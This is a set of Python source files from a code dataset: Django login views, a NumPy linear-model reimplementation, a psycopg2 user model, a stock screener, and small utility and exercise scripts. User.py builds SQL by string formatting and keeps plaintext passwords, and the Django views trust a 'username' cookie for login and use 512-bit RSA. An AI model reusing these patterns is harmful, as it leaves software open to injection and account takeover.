nmax=4;#len(air_df)\n#     for i in range(nmax):\n#         ap = air_df.iloc[i]\n#         city=ap['City']\n#         state=ap['State']\n#         city_ST=city+', '+state\n#         city_list.append(city_ST)\n#     joint_index=pd.MultiIndex.from_product([Tindex,city_list])\n#     return joint_index\n\n#make dataframes with codes.\ntry:\n    air_df=pd.read_csv('data/air_code_df.gz')\nexcept:\n    airport_codes=make_airport_df()\n    isd_names=read_isd_df()\n    air_df=merge_air_isd(airport_codes,isd_names)\n    #write output to csv\n    air_df.to_csv('data/air_code_df.gz',compression='gzip',header=True)\n\n#ind=make_weather_multiindex(air_df)\n    \n##actually download the data from 2015-2017 from the stations listed in air_code_df.  (takes a few minutes)\n#get_all_data(air_df)\n\n# d0=convert_all_isd(air_df)\n# # #converted file to csv to save time.\n# d0.to_csv('data/airport_weather.gz',compression='gzip',header=True)\n","sub_path":"util/get_weather_data.py","file_name":"get_weather_data.py","file_ext":"py","file_size_in_byte":15271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"56449470","text":"# -*- encoding:utf-8 -*-\nfrom django.shortcuts import render, redirect, HttpResponse\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib import auth\nfrom HippoWeb.forms import LoginForm\nimport rsa\nimport json\n\n\ndef page_not_found(request, **kwargs):\n    from django.shortcuts import render_to_response\n    response = render_to_response('404.html')\n    response.status_code = 404\n    return response\n\n\ndef server_error(request, **kwargs):\n    from django.shortcuts import render_to_response\n    response = render_to_response('50x.html')\n    response.status_code = 500\n    return response\n\n\ndef rsa_encrypt(req):\n    \"\"\"使用RSA生成公钥私钥,并拆分存放private key\"\"\"\n    (public, private) = rsa.newkeys(512)\n    private_key = dict()\n    private_key['n'] = private.n\n    private_key['e'] = private.e\n    private_key['d'] = private.d\n    private_key['p'] = private.p\n    private_key['q'] = private.q\n    req.session['privkey'] = private_key          # session存放在 django_session表内\n    pub_e = hex(public.e).split('0x')[1]          # hex转化为16进制数再截去0x头部\n    pub_n = hex(public.n).split('0x')[1]\n    # print(pub_e)\n    # print(pub_n)\n    pubkey = {'pub_e': pub_e, 'pub_n': pub_n}\n    return pubkey\n\n\ndef rsa_privkey(req):\n    \"\"\"从session中提取private key\"\"\"\n    priv = req.session.get('privkey')\n    privkey = rsa.PrivateKey(priv['n'],\n                             priv['e'],\n                             priv['d'],\n                             priv['p'],\n                             priv['q'])\n    return privkey\n\n\ndef login(req):\n    \"\"\"返回登录页表单\"\"\"\n    login_user = req.COOKIES.get('username')\n    if login_user:\n        return redirect('/index/')\n    pubkey = rsa_encrypt(req)\n    pub_e = pubkey['pub_e']\n    pub_n = pubkey['pub_n']\n    login_form = LoginForm()\n    return render(req, 'login.html', {'login_form': login_form, 'pub_e': pub_e, 'pub_n': pub_n})\n\n\ndef checklogin(req):\n    \"\"\"检验登录数据\"\"\"\n    if req.is_ajax():\n        if req.method == 'POST':\n            username = req.POST.get('username', None)\n            en_password = req.POST.get('en_password', None)\n            if en_password:\n                # RSA加密暂时搁置先不实现, MMP\n                password = req.POST.get('password', None)\n                # privkey = rsa_privkey(req)\n                # py2使用en_password.decode('hex')\n                # password = rsa.decrypt(bytes.fromhex(en_password), privkey)\n                # req.session['privkey'] = None\n                user = auth.authenticate(username=username, password=password)\n                if user:\n                    auth.login(req, user)\n                    response = HttpResponse(json.dumps({'data': \"ok\"}))\n                    response.set_cookie('username', user)\n                    return response\n                else:\n                    response = HttpResponse(json.dumps({'data': \"error\"}))\n                    return response\n                # 添加账号密码判断反馈回前端\n\n\ndef logout(req):\n    \"\"\"注销已登录用户\"\"\"\n    login_user = req.COOKIES.get('username')\n    if login_user:\n        response = redirect('/login/')\n        response.delete_cookie('username')\n        auth.logout(req)\n        return response\n    else:\n        return redirect('/login/')\n\n\n@login_required\ndef index(req):\n    try:\n        \"\"\"主页,判断用户是否已经登录,若未登录则跳转login页\"\"\"\n        login_user = req.COOKIES.get('username')\n        if login_user:\n            return render(req, 'index.html')\n        else:\n            return redirect('/login/')\n    except Exception as error:\n        print(error)\n","sub_path":"HippoWeb/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"486213675","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.base import BaseEstimator\nfrom sklearn.metrics import r2_score, accuracy_score\nfrom sklearn.datasets import load_boston, load_breast_cancer, load_digits, load_wine\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler, OneHotEncoder\nfrom sklearn.linear_model import LogisticRegression as sklearn_LogisticRegression\nimport copy\n\nclass LinearRegression(BaseEstimator):\n    def __init__(self, fit_intercept=True):\n        super().__init__()\n        self.fit_intercept = fit_intercept\n\n    def init_params(self, X, Y):\n        self.X = X.copy()\n        self.Y = Y.copy()\n\n    def add_ones(self, X):\n        if self.fit_intercept:\n            ones = np.ones((X.shape[0], 1))\n            return np.hstack((ones, X))\n        return X\n\n    def fit(self, X, Y):\n        self.init_params(X, Y)\n        tmp_X = self.add_ones(X)\n\n        tmp_X = np.mat(tmp_X)\n        tmp_Y = np.mat(self.Y).T\n\n        XTX = tmp_X.T * tmp_X\n        if np.linalg.det(XTX) == 0:\n            raise ZeroDivisionError\n\n        self.W = XTX.I * tmp_X.T * tmp_Y\n        if self.fit_intercept:\n            self.coef_ = np.ravel(self.W)[1:]\n            self.intercept_ = np.ravel(self.W)[0]\n        else:\n            self.coef_ = self.W\n        return self\n\n    def predict(self, X):\n        tmp_X = self.add_ones(X)\n        tmp_X = np.mat(tmp_X)\n        Y_pred = tmp_X * self.W\n        return np.ravel(Y_pred)\n\n    def score(self, X, Y):\n        Y_pred = self.predict(X)\n        return r2_score(Y, Y_pred)\n\nclass Ridge(BaseEstimator):\n    def __init__(self,\n                 learning_rate = 0.01, max_iter = 500, tol = 1e-4,\n                 solver = 'Batch', fit_intercept = True, alpha = 1\n                 ):\n        super().__init__()\n        self.learning_rate = learning_rate\n        self.max_iter = max_iter\n        self.tol = tol\n        self.solver = solver\n        self.fit_intercept = fit_intercept\n        self.alpha = alpha\n\n    def init_params(self, X, Y):\n        self.X = X.copy()\n        self.Y = Y.copy()\n        self.std = StandardScaler().fit(self.X)\n        self.X = self.std.transform(self.X)\n        self.W = np.mat(np.zeros((self.X.shape[1] + 1, 1)))\n        self.GD_dict = {'Batch' : self._cal_grad_Batch,\n                        'Stocastic' : self._cal_grad_Stocastic,\n                        'Mini' : self._cal_grad_Mini}\n\n    def add_ones(self, X):\n        if self.fit_intercept:\n            ones = np.ones((X.shape[0], 1))\n            return np.hstack((ones, X))\n        return X\n\n    def _cal_grad_Batch(self, X, Y):\n        return 2 / X.shape[0] * (X.T * (X * self.W - Y) + self.alpha * self.W)\n\n    def _cal_grad_Stocastic(self, X, Y):\n        j = np.random.choice(range(X.shape[0]), 1)\n        X_j, Y_j = X[j], Y[j]\n        return 2 / X.shape[0] * (X_j.T * (X_j * self.W - Y_j) + self.alpha * self.W)\n\n    def _cal_grad_Mini(self, X, Y):\n        j = np.random.choice(range(X.shape[0]), 32)\n        X_j, Y_j = X[j], Y[j]\n        return 2 / X.shape[0] * (X_j.T * (X_j * self.W - Y_j) + self.alpha * self.W)\n\n    def fit(self, X, Y):\n        self.init_params(X, Y)\n        tmp_X = np.mat(self.add_ones(self.X))\n        tmp_Y = np.mat(self.Y).T\n        steps = 0\n\n        while steps < self.max_iter:\n            steps += 1\n            gd = self.GD_dict[self.solver](tmp_X, tmp_Y)\n            if gd.T * gd < self.tol:\n                break\n            self.W -= self.learning_rate * gd\n\n        if self.fit_intercept:\n            self.coef_ = np.ravel(self.W)[1:]\n            self.intercept_ = np.ravel(self.W)[0]\n        else:\n            self.coef_ = self.W\n        return self\n\n    def predict(self, X):\n        X = self.std.transform(X)\n        tmp_X = self.add_ones(X)\n        tmp_X = np.mat(tmp_X)\n        Y_pred = tmp_X * self.W\n        return np.ravel(Y_pred)\n\n    def score(self, X, Y):\n        Y_pred = self.predict(X)\n        return r2_score(Y, Y_pred)\n\nclass _LogisticRegression(BaseEstimator):\n    def __init__(self,\n                 tol = 1e-4, C = 1, fit_intercept = True, max_iter = 5000,\n                 learning_rate = 0.1, solver = 'sag'\n                 ):\n        super().__init__()\n        self.tol = tol\n        self.C = 1/C\n        self.fit_intercept = fit_intercept\n        self.max_iter = max_iter\n        self.learning_rate = learning_rate\n        self.solver = solver\n\n    def init_params(self, X, Y):\n        self.X = X.copy()\n        self.Y = Y.copy()\n        self.std = StandardScaler().fit(self.X)\n        self.X = self.std.transform(self.X)\n        if self.fit_intercept:\n            self.W = np.mat(np.zeros((self.X.shape[1] + 1, 1)))\n        else:\n            self.W = np.mat(np.zeros((self.X.shape[1], 1)))\n        self.delta_dict = {'sag' : self.SAG,\n                           'newton' : self.Newton}\n\n    def add_ones(self, X):\n        if self.fit_intercept:\n            ones = np.ones((X.shape[0], 1))\n            return np.hstack((ones, X))\n        return X\n\n    def sigmod(self, X, w):\n        z = X * w\n        return 1/(1 + np.exp(-z))\n\n    def cal_sigmoid_error(self, X, Y):\n        sigmod_result = self.sigmod(X, self.W)\n        error = sigmod_result - Y\n        return error, sigmod_result\n\n    def SAG(self, X, Y):\n        if self.solver == 'sag':\n            j = np.random.choice(range(X.shape[0]), 32)\n            X_j, Y_j = X[j], Y[j]\n        else:\n            X_j, Y_j = X, Y\n        error, sigmod_result = self.cal_sigmoid_error(X_j, Y_j)\n        gd = 1/X.shape[0] * (X_j.T * error + self.C * self.W)\n        if self.solver == 'sag':\n            return gd\n        elif self.solver == 'newton':\n            return gd, sigmod_result\n\n    def Hessian(self, X, sigmod_result):\n        sigmod_result = np.ravel(sigmod_result)\n        B = np.diag(sigmod_result)\n        return 1/X.shape[0] * X.T * B * X + self.C * np.eye(X.shape[1])\n\n    def Newton(self, X, Y):\n        gd, sigmod_result = self.SAG(X, Y)\n        H = self.Hessian(X, sigmod_result)\n        return H.I * gd\n\n    def fit(self, X, Y):\n        self.init_params(X, Y)\n        tmp_X = np.mat(self.add_ones(self.X))\n        tmp_Y = np.mat(self.Y).T\n        steps = 0\n\n        while steps < self.max_iter:\n            steps += 1\n            delta = self.delta_dict[self.solver](tmp_X, tmp_Y)\n            while delta.T * delta < self.tol:\n                break\n            if self.solver == 'sag':\n                self.W -= self.learning_rate * delta\n            elif self.solver == 'newton':\n                self.W -= delta\n\n        if self.fit_intercept:\n            self.coef_ = np.ravel(self.W)[1:]\n            self.intercept_ = np.ravel(self.W)[0]\n        else:\n            self.coef_ = self.W\n        self.iterations = steps\n        return self\n\n    def predict_proba(self, X):\n        X = self.std.transform(X)\n        tmp_X = np.mat(self.add_ones(X))\n        Y_proba_1 = self.sigmod(tmp_X, self.W)\n        Y_proba_0 = 1 - Y_proba_1\n        Y_proba = np.hstack((Y_proba_0, Y_proba_1))\n        return Y_proba\n\n    def predict(self, X):\n        Y_pred_proba = self.predict_proba(X)\n        return Y_pred_proba.argmax(axis = 1)\n\n    def score(self, X, Y):\n        Y_pred = self.predict(X)\n        return accuracy_score(Y, Y_pred)\n\n\nclass LogisticRegression(BaseEstimator):\n    def __init__(self,\n                 tol = 1e-4, C = 1, fit_intercept = True, max_iter = 5000,\n                 learning_rate = 0.1, solver = 'sag'\n                 ):\n        super().__init__()\n        self.tol = tol\n        self.C = 1/C\n        self.fit_intercept = fit_intercept\n        self.max_iter = max_iter\n        self.learning_rate = learning_rate\n        self.solver = solver\n        self.binary = True\n\n\n    def init_params(self, X, Y):\n        if len(np.unique(Y)) > 2:\n            self.binary = False\n            if len(Y.shape) == 1:\n                self.onehot = OneHotEncoder(sparse = False).fit(Y.reshape(-1, 1))\n                self.Y_ = self.onehot.transform(Y.reshape(-1, 1))\n\n        estimator_params = (\"tol\", \"C\", \"fit_intercept\",\n                            \"max_iter\", \"learning_rate\",\n                            \"solver\")\n        self.base_estimator_ = _LogisticRegression(**{p: getattr(self, p) for p in estimator_params})\n\n\n    def fit(self, X, Y):\n        self.init_params(X, Y)\n        if self.binary:\n            return self.base_estimator_.fit(X, Y)\n        self.base_model_list = [copy.deepcopy(self.base_estimator_.fit(X, Y_class)) for Y_class in self.Y_.T]\n        return self\n\n    def predict_proba(self, X):\n        Y_pred_proba = np.array(np.hstack([model.predict_proba(X)[:, -1].reshape(-1,1) for model in self.base_model_list]))\n        row_sum = Y_pred_proba.sum(axis = 1).reshape(-1,1)\n        return Y_pred_proba/row_sum\n\n    def predict(self, X):\n        Y_pred_proba = self.predict_proba(X)\n        return Y_pred_proba.argmax(axis = 1)\n\n    def score(self, X, Y):\n        Y_pred = self.predict(X)\n        return accuracy_score(Y, Y_pred)\n\nclass _Perceptron(BaseEstimator):\n    def __init__(self, gaussian_kernel=True,\n                 normalize = True,\n                 max_iter = 500,\n                 gamma = 1e-2,\n                 predict_probability=True,\n                 Log_model = 'sklearn'\n                 ):\n        super().__init__()\n        self.gaussian_kernel = gaussian_kernel\n        self.normalize = normalize\n        self.max_iter = max_iter\n        self.gamma = gamma\n        self.predict_probability = predict_probability\n        self.Log_model = Log_model\n\n    def init_params(self, X, Y):\n        self.N, self.M = X.shape\n        self.X = X.copy()\n        self.Y = Y.copy()\n        self.Y[self.Y == 0] = -1\n\n        if self.normalize:\n            self.stand = StandardScaler().fit(self.X)\n            self.X = self.stand.transform(self.X)\n\n        self.a = np.zeros(self.N)\n        self.Gram_matrix = self.Kernel(self.X, self.X)\n\n\n    def _gaussian_dot(self, X_i, X_j):\n        return np.exp(-self.gamma * ((X_i - X_j) ** 2).sum())\n\n    def Kernel(self, X1, X2):\n        N = X1.shape[0]\n        M = X2.shape[0]\n        if self.gaussian_kernel:\n            Gram_matrix = np.zeros((N, M))\n            for i in range(N):\n                X_i = X1[i, :]\n                for j in range(M):\n                    X_j = X2[j, :]\n                    Gram_matrix[i, j] = self._gaussian_dot(X_i, X_j)\n        else:\n            Gram_matrix = X1 @ X2.T\n        return Gram_matrix\n\n    def fit(self, X, Y):\n        self.init_params(X, Y)\n        steps = 0\n        while steps < self.max_iter:\n            steps += 1\n            missing_index = -1\n            for j in range(self.X.shape[0]):\n                checking = self.Y[j] * ((self.a * self.Y * self.Gram_matrix[j, :]).sum() + self.a @ self.Y)\n                if checking <= 0:\n                    missing_index = j\n                    break\n            if missing_index == -1:\n                break\n            self.a[missing_index] += 1\n\n        if self.predict_probability:\n            X_log = self.decision_function(self.X).reshape(-1, 1)\n            self.std = StandardScaler().fit(X_log)\n            X_log = self.std.transform(X_log)\n            if self.Log_model == 'sklearn':\n                self.logistic_model = sklearn_LogisticRegression(solver='lbfgs').fit(X_log, self.Y)\n            elif self.Log_model == 'fakesklearn':\n                self.logistic_model = LogisticRegression(solver='newton').fit(X_log, self.Y)\n        self.steps = steps\n        return self\n\n    def _predict_dis(self, col):\n        return (self.a * self.Y * col).sum() + self.a @ self.Y\n\n    def decision_function(self, X):\n        pred_Gram_matrix = pd.DataFrame(self.Kernel(self.X, X))\n        X_log = pred_Gram_matrix.apply(self._predict_dis, axis=0).values\n        return X_log\n\n    def predict_proba(self, X):\n        if self.normalize:\n            X = self.stand.transform(X)\n        X_log = self.decision_function(X).reshape(-1, 1)\n        X_log = self.std.transform(X_log)\n        return self.logistic_model.predict_proba(X_log)\n\n    def predict(self, X):\n        if self.predict_probability:\n            Y_pred_proba = self.predict_proba(X)\n            return Y_pred_proba.argmax(axis = 1)\n\n        Y_pred = np.sign(self.decision_function(X))\n        Y_pred[Y_pred == -1] = 0\n        return Y_pred\n\n    def score(self, X, Y):\n        Y_pred = self.predict(X)\n        return accuracy_score(Y, Y_pred)\n\nclass Perceptron(BaseEstimator):\n    def __init__(self,\n                 gaussian_kernel=True,\n                 normalize=True,\n                 max_iter=500,\n                 gamma=1e-2,\n                 predict_probability=True,\n                 Log_model='sklearn'\n                 ):\n        super().__init__()\n        self.gaussian_kernel = gaussian_kernel\n        self.normalize = normalize\n        self.max_iter = max_iter\n        self.gamma = gamma\n        self.predict_probability = predict_probability\n        self.Log_model = Log_model\n        self.binary = True\n\n    def init_params(self, X, Y):\n        if len(np.unique(Y)) > 2:\n            self.predict_probability = True\n            self.binary = False\n            if len(Y.shape) == 1:\n                self.onehot = OneHotEncoder(sparse = False).fit(Y.reshape(-1, 1))\n                self.Y_ = self.onehot.transform(Y.reshape(-1, 1))\n\n        estimator_params = (\"gaussian_kernel\", \"normalize\", \"max_iter\",\n                            \"gamma\", \"predict_probability\",\n                            \"Log_model\")\n        self.base_estimator_ = _Perceptron(**{p: getattr(self, p) for p in estimator_params})\n\n    def fit(self, X, Y):\n        self.init_params(X, Y)\n        if self.binary:\n            return self.base_estimator_.fit(X, Y)\n        self.base_model_list = [copy.deepcopy(self.base_estimator_.fit(X, Y_class)) for Y_class in self.Y_.T]\n        return self\n\n    def predict_proba(self, X):\n        Y_pred_proba = np.array(np.hstack([model.predict_proba(X)[:, -1].reshape(-1,1) for model in self.base_model_list]))\n        row_sum = Y_pred_proba.sum(axis = 1).reshape(-1,1)\n        return Y_pred_proba/row_sum\n\n    def predict(self, X):\n        Y_pred_proba = self.predict_proba(X)\n        return Y_pred_proba.argmax(axis = 1)\n\n\n    def score(self, X, Y):\n        Y_pred = self.predict(X)\n        return accuracy_score(Y, Y_pred)\n\n\nif __name__ == '__main__':\n    boston = load_boston()\n    X = boston['data']\n    Y = boston['target']\n    Xtrain, Xtest, Ytrain, Ytest = train_test_split(X, Y, test_size=0.3, random_state = 43)\n\n    LR = LinearRegression().fit(Xtrain, Ytrain)\n    print(LR.score(Xtrain, Ytrain), LR.score(Xtest, Ytest))\n\n    ridge = Ridge(max_iter = 5000, solver = 'Mini', learning_rate = 0.1, alpha = 0.5).fit(Xtrain, Ytrain)\n    print(ridge.score(Xtrain, Ytrain), ridge.score(Xtest, Ytest))\n\n    # bc = load_breast_cancer()\n    # bc = load_digits(n_class=2)\n    bc = load_wine()\n    X = bc['data']\n    Y = bc['target']\n    Xtrain, Xtest, Ytrain, Ytest = train_test_split(X, Y, test_size=0.3, random_state=42)\n\n    LogR = LogisticRegression().fit(Xtrain, Ytrain)\n    print(LogR.score(Xtrain, Ytrain), LogR.score(Xtest, Ytest))\n\n    Perp = Perceptron(gaussian_kernel = True).fit(Xtrain, Ytrain)\n    print(Perp.score(Xtrain, Ytrain), Perp.score(Xtest, Ytest))\n\n\n    print('done')","sub_path":".history/fakesklearn/linear_model_20201202210159.py","file_name":"linear_model_20201202210159.py","file_ext":"py","file_size_in_byte":15246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"492836766","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jun  4 08:30:49 2021\r\n\r\n@author: hp\r\n\"\"\"\r\nimport os\r\nimport psycopg2\r\n\r\nclass UserModel():\r\n    TABLE_NAME = 'user_dtls'\r\n    DATABASE_URL = os.environ['DATABASE_URL']  \r\n    \r\n    def __init__(self, _id, nameu, email, pwd, admin):\r\n        print('DATABASE_URL:',self.DATABASE_URL)\r\n        self.id = _id\r\n        self.nameu = nameu\r\n        self.email = email\r\n        self.pwd = pwd\r\n        self.admin = admin\r\n        \r\n    def json(self):\r\n        return {\"id\": self.id, \r\n                \"nameu\": self.nameu,\r\n                \"email\": self.email,\r\n                \"pwd\": self.pwd,\r\n                \"admin\": self.admin\r\n                }\r\n    \r\n    @classmethod\r\n    def get_by_email(cls, email):      \r\n        connection = psycopg2.connect(cls.DATABASE_URL)  \r\n        cursor = connection.cursor()\r\n        query = \"SELECT id, nameu, email, pwd, admin FROM {0} WHERE email='{1}'\".format(cls.TABLE_NAME,email)\r\n        print(\"\\nquery @UserModel @get_by_email:\",query)\r\n        cursor.execute(query)\r\n        \r\n        row = cursor.fetchone()\r\n        if row:\r\n            print(row)\r\n            user = cls(*row)\r\n        else:\r\n            print(\"no results fetched\")\r\n            user = None\r\n\r\n        connection.close()\r\n        return user\r\n    @classmethod\r\n    def get_by_id(cls, _id): \r\n        connection = psycopg2.connect(cls.DATABASE_URL)     \r\n    \r\n        cursor = connection.cursor()\r\n        query = \"SELECT id, nameu, email, pwd, admin FROM {0} WHERE id='{1}'\".format(cls.TABLE_NAME,_id)\r\n        #print(\"\\nquery @UserModel @get_by_id:\",query)\r\n        cursor.execute(query)\r\n        \r\n        row = cursor.fetchone()\r\n        if row:\r\n            print(row)\r\n            user = cls(*row)\r\n        else:\r\n            print(\"no results fetched\")\r\n            user = None\r\n\r\n        connection.close()\r\n        return user\r\n    @classmethod\r\n    def get_list(cls):\r\n        \r\n        print('DATABASE_URL:',cls.DATABASE_URL) \r\n        connection = psycopg2.connect(cls.DATABASE_URL)     \r\n    \r\n        cursor = connection.cursor()\r\n        query = \"SELECT id, nameu, email, pwd, admin FROM {0}\".format(cls.TABLE_NAME)\r\n        print(\"\\nquery @UserModel @get_list:\",query)\r\n        cursor.execute(query)\r\n        \r\n        rows = cursor.fetchall()\r\n        ul=[]\r\n        for row in rows:\r\n            #print(row)\r\n            user = cls(*row)\r\n            ul.append(user)\r\n            print(user.json())\r\n        connection.close()\r\n        return ul\r\n    def save_to_db(self): \r\n        connection = psycopg2.connect(self.DATABASE_URL)     \r\n    \r\n        cursor = connection.cursor()\r\n        query = \"INSERT INTO {0}(nameu, email, pwd, admin) VALUES ('{1}','{2}','{3}','{4}')\".format(self.TABLE_NAME, self.nameu, self.email, self.pwd, self.admin)\r\n        print(\"\\nquery @UserModel @save_to_db:\",query)\r\n        cursor.execute(query)\r\n        connection.commit()\r\n\r\n        connection.close()\r\n        return True\r\n        ","sub_path":"Models/User.py","file_name":"User.py","file_ext":"py","file_size_in_byte":2993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"591100611","text":"\n# 예를 들어, 좌표가 (12, 5)인 점 A는 x좌표와 y좌표가 모두 양수이므로 제1사분면에 속한다. 점 B는 x좌표가 음수이고 y좌표가 양수이므로 제2사분면에 속한다.\n# 점의 좌표를 입력받아 그 점이 어느 사분면에 속하는지 알아내는 프로그램을 작성하시오. 단, x좌표와 y좌표는 모두 양수나 음수라고 가정한다.\n\nx = int(input())\ny = int(input())\n\nif x > 0:\n    if y > 0:\n        print(1)\n    else:\n        print(4)\nelse:\n    if y > 0:\n        print(2)\n    else:\n        print(3)\n","sub_path":"BaekJoon/if/if_4.py","file_name":"if_4.py","file_ext":"py","file_size_in_byte":570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"389986640","text":"from keys import ameritrade\nimport plotly.graph_objects as go\nimport plotly.express as px\nimport requests, time, re, pickle\nimport pandas\nimport os\n\nfiles_data = []\n\ndef writeStockData():\n    url = \"https://api.tdameritrade.com/v1/instruments\"\n\n    stock_list = pandas.read_csv('company_lists.csv', usecols=['Symbol']).values.tolist()\n\n    start = 0\n    end = 500\n\n    while start < len(stock_list):\n        if len(stock_list) < end:\n            symbols = stock_list[start:len(stock_list)]\n        else:\n            symbols = stock_list[start:end]\n        \n        payload = {'apikey': ameritrade[\"Consumer Key\"],\n                   'symbol': symbols,\n                   'projection': 'fundamental'}\n\n        results = requests.get(url, params=payload)\n\n        data = results.json()\n        file_name = str(time.asctime()) + '.pkl'\n        file_name = re.sub('[ :]', '_', file_name)\n\n        files_data.append(file_name)\n\n        with open(file_name, 'wb') as file:\n            pickle.dump(data, file)\n        start = end\n        end += 500\n        time.sleep(1)\n\n\ndef readStockDataFromFile():\n    data = []\n\n    for file in files_data:\n        with open(file, 'rb') as f:\n            info = pickle.load(f)\n        stocks_keys = list(info)\n\n        # Points of interest for stocks\n        points = ['symbol', 'netProfitMarginMRQ', 'peRatio', 'pegRatio', 'high52', 'dividendAmount']\n        for stock in stocks_keys:\n            stock_data = []\n            for point in points:\n                stock_data.append(info[stock]['fundamental'][point])\n            data.append(stock_data)\n        os.remove(file)\n    return data\n\n\ndef createScreneerTable():\n    data = readStockDataFromFile()\n\n    # New columns for data to be displayed\n    columns = ['Symbol', 'Margin', 'PE', 'PEG', 'high52', 'Dividend']\n    file_results = pandas.DataFrame(data, columns=columns)\n    \n    fig = go.Figure(data=[go.Table(\n        header=dict(\n            values=columns,\n            line_color='paleturquoise',\n            align='center'\n        ),\n        cells=dict(\n            values=[\n            file_results.Symbol,\n            file_results.Margin,\n            file_results.PE,\n            file_results.PEG,\n            file_results.high52,\n            file_results.Dividend]\n            ))\n        ])\n\n    fig.show()\n\nif __name__ == '__main__':\n    writeStockData()\n    createScreneerTable()","sub_path":"stock-screener.py","file_name":"stock-screener.py","file_ext":"py","file_size_in_byte":2378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"469875179","text":"#!/usr/bin/env python\n\ndef parse_sh_ip_int_br():\n    import re\n    with open('sh_ip_int_br.txt') as cfg:\n        file = cfg.readlines()\n        rslt = []\n        for l in file:\n            r = re.search(r'(\\S+) +(\\S+) .*(u\\S+|d\\S+) .*(u\\S+|d\\S+)', l)\n            if r:\n                rslt.append(r.groups())\n    return rslt\n\n\nif __name__ == '__main__':\n    print(parse_sh_ip_int_br())\n","sub_path":"15_module_re/answ_15_2_parse_sh_ip_int_br.py","file_name":"answ_15_2_parse_sh_ip_int_br.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"187801614","text":"'''\r\ndatabase with sqlite 3\r\n-------------------------\r\n\r\n'''\r\n\r\nimport sqlite3 \r\nfrom datetime import datetime\r\n\r\n\r\nclass Database:\r\n    def __init__(self) -> None:\r\n        self.conn=sqlite3.connect('Library.sqlite3')\r\n        self.cur=self.conn.cursor()\r\n        self.cur.execute(\"CREATE TABLE IF NOT EXISTS tblbook(id INTEGER PRIMARY KEY, title VARCHAR(50),author VARCHAR(50), year INTEGER,pdate DATE )\")\r\n        self.conn.commit()\r\n\r\n    def adddata (self):\r\n        print('Add your record: ')\r\n        print('='*40)\r\n        t1=input('Title: ')\r\n        a1=input('Author: ')\r\n        y1=input('Year : ')\r\n\r\n        self.cur.execute(\"INSERT  INTO tblbook(title,author,year,pdate) VALUES(?,?,?,?)\",(t1,a1,y1,datetime.today()))\r\n        self.conn.commit()\r\n\r\n\r\n    def showdata(self):\r\n        self.cur.execute('SELECT * FROM tblbook')\r\n        print(\"\\n\\n%-5s %-20s %-15s %-10s %-10s \"%('ID','TITLE','AUTHOR','YEAR','PDATE'))\r\n        print('='*80)\r\n        for data in self.cur.fetchall() :\r\n            print(\"%-5s %-20s %-15s %-10s %-10s \"%(data[0],data[1],data[2],data[3],data[4]))\r\n\r\n       \r\ndb= Database()\r\ndb.adddata()   \r\ndb.showdata()","sub_path":"day16/lesson16_database.py","file_name":"lesson16_database.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"612320456","text":"import pandas as pd\r\nimport os\r\n\r\ncwd = os.getcwd()\r\nprint('Current working directory: '+cwd)\r\n\r\n#---walking thru the current working directory---#\r\n\r\n#---root = cwd, dir = sub dirs in cwd, files = files in cwd---#\r\nfor root,dirs,files in os.walk(cwd):\r\n    for file in files:\r\n       if file.endswith('.csv'):\r\n           #---extract data\r\n           filenames_df = pd.read_csv(file, header = None)\r\n           \r\n#print (filenames_df)\r\nFileNames = filenames_df[0]    \r\n    \r\n#---get the name of the files after sorting by the date modified---#\r\nFiles = os.listdir(cwd)\r\nfull_list = [os.path.join(cwd,i) for i in Files]    #this method is called List comprehension\r\ntime_sorted_list = sorted(full_list, key=os.path.getmtime)\r\n\r\n#---remove the path from elements and extract only name of the files in the cwd---\r\nsorted_filename_list = [ os.path.basename(i) for i in time_sorted_list]\r\n\r\ni = 0 #list index\r\ntopicNo = 1 #topicNos\r\nFileNo = 0 #renaming index\r\n\r\nfor file in sorted_filename_list:\r\n\r\n    #---check for filenames with no extension---#\r\n    SplitExt = os.path.splitext(file)\r\n    if SplitExt[1] == '':\r\n        \r\n        source = cwd + '\\\\' + file\r\n\r\n        #---check for the topic files and create txt files---#\r\n        TopicCheck = str(topicNo) + '. '\r\n        if FileNames[i].find(TopicCheck) != -1:\r\n            #print (FileNames[i])\r\n            FileNames[i].replace(TopicCheck,'')\r\n            \r\n            #---create the txt file---#\r\n            f = open('0' + str(FileNo) +'. ' + FileNames[i]+'.txt','w')\r\n            f.close\r\n            \r\n            topicNo = topicNo + 1\r\n            i=i+1\r\n            \r\n        destination = cwd + '\\\\' + str(FileNo) + '.' + FileNames[i] + '.mp4'\r\n        os.rename(source,destination) #rename it finally!\r\n        \r\n        FileNo = FileNo+1\r\n        i=i+1\r\n\r\n","sub_path":"Rename course files/rename.py","file_name":"rename.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
